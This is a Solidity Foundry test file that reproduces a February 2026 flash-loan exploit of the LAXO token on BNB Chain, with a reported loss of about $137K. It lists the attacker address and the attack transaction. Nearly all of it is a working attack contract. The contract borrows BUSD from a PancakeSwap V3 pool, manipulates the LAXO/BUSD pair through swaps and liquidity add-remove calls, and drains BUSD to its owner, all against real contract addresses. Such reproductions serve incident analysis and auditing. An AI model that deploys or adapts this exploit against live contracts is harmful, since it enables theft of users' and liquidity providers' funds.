src/test/2026-02/LAXO_Token_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.23;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7 
8// @KeyInfo - Total Lost : ~137K US$
9// Attacker : 0x17f9132E66A78b93195b4B186702Ad18Fdcd6E3D
10// Attack Contract : 0x6588ACB7dd37887C707C08AC710A82c9F9A7C1E9
11// Vulnerable Contract : 0x62951CaD7659393BF07fbe790cF898A3B6d317CB
12// Attack Tx : 0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x62951CaD7659393BF07fbe790cF898A3B6d317CB#code
16 
17// @Analysis
18// Twitter Guy : https://x.com/CertiKAlert/status/2027317095420072317
19 
20contract LAXO_Token_exp is BaseTestWithBalanceLog {
21    bytes32 exploitTx=0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3;
22    address busd = 0x55d398326f99059fF775485246999027B3197955;
23    address laxo = 0x62951CaD7659393BF07fbe790cF898A3B6d317CB;
24    AttackContract attack;
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", exploitTx); // blocknumber = 82_730_141
28        attack = new AttackContract();
29        deal(laxo, address(attack), 1_000_000_000_000_000_000, false);
30        vm.deal(address(attack),100_000_000_000_000);
31    }
32 
33    function testExploit() public {
34        uint beforeAmount = IERC20(busd).balanceOf(address(this));
35        attack.start();
36        uint afterAmount = IERC20(busd).balanceOf(address(this));
37        emit log_named_decimal_uint("BSC-USD: ", afterAmount-beforeAmount, 18);
38 
39    }
40}
41 
42contract AttackContract{
43    address owner;
44    IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
45    IERC20 laxo = IERC20(0x62951CaD7659393BF07fbe790cF898A3B6d317CB);
46    Uni_Pair_V3 pancake = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
47    IPancakePair wbnb_pair = IPancakePair(0x78A4bb0b1D32fedbd8baC49055649030DCDe7985);
48    IPancakePair busd_pair = IPancakePair(0xF05a6361e6F851BbFf39C4f1d9aD4b661d3180B3);
49    IUniswapV2Router router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
50    
51    uint constant deadline = 1_771_774_364;
52 
53    constructor(){
54        owner=msg.sender;
55    }
56    
57    function start() public{
58        pancake.flash(address(this), 350_000_000_000_000_000_000_000, 0, abi.encode(2_739_720_310));
59    }
60    
61    function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
62        busd.approve(address(router),type(uint).max);
63 
64        address[] memory path = new address[](2);
65        path[0]=address(busd);
66        path[1]=address(laxo);
67        
68        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
69            350_000_000_000_000_000_000_000,
70            0,
71            path,
72            address(router),
73            deadline
74        );
75 
76        laxo.approve(address(router),type(uint).max);
77        router.addLiquidityETH{value:address(this).balance}(address(laxo), 10_000, 0, 0, address(this), deadline);
78        wbnb_pair.approve(address(router), type(uint).max);
79        router.removeLiquidityETHSupportingFeeOnTransferTokens(address(laxo), 100_000, 0, 0, address(this), deadline);
80        
81        require(52_057_043_674_336_149_349_295_101==laxo.balanceOf(address(busd_pair)), "busd_pair check");
82        laxo.transfer(address(busd_pair),laxo.balanceOf(address(busd_pair)));
83        
84        (uint reserve0, uint reserve1, )=busd_pair.getReserves();
85        uint256 amountOut = router.getAmountOut(41_072_653_255_359_825_749_210_636, reserve1, reserve0);
86 
87        require(amountOut == 487_495_176_743_718_966_418_330, "amountOut check");
88        busd_pair.swap(amountOut, 0, address(this), new bytes(0));
89        busd.transfer(address(pancake), 350_175_000_000_000_000_000_000);
90 
91        require(137_320_176_743_718_966_418_330 == busd.balanceOf(address(this)),"busd check");
92        busd.transfer(owner,busd.balanceOf(address(this)));
93    }
94    receive() external payable{}
95}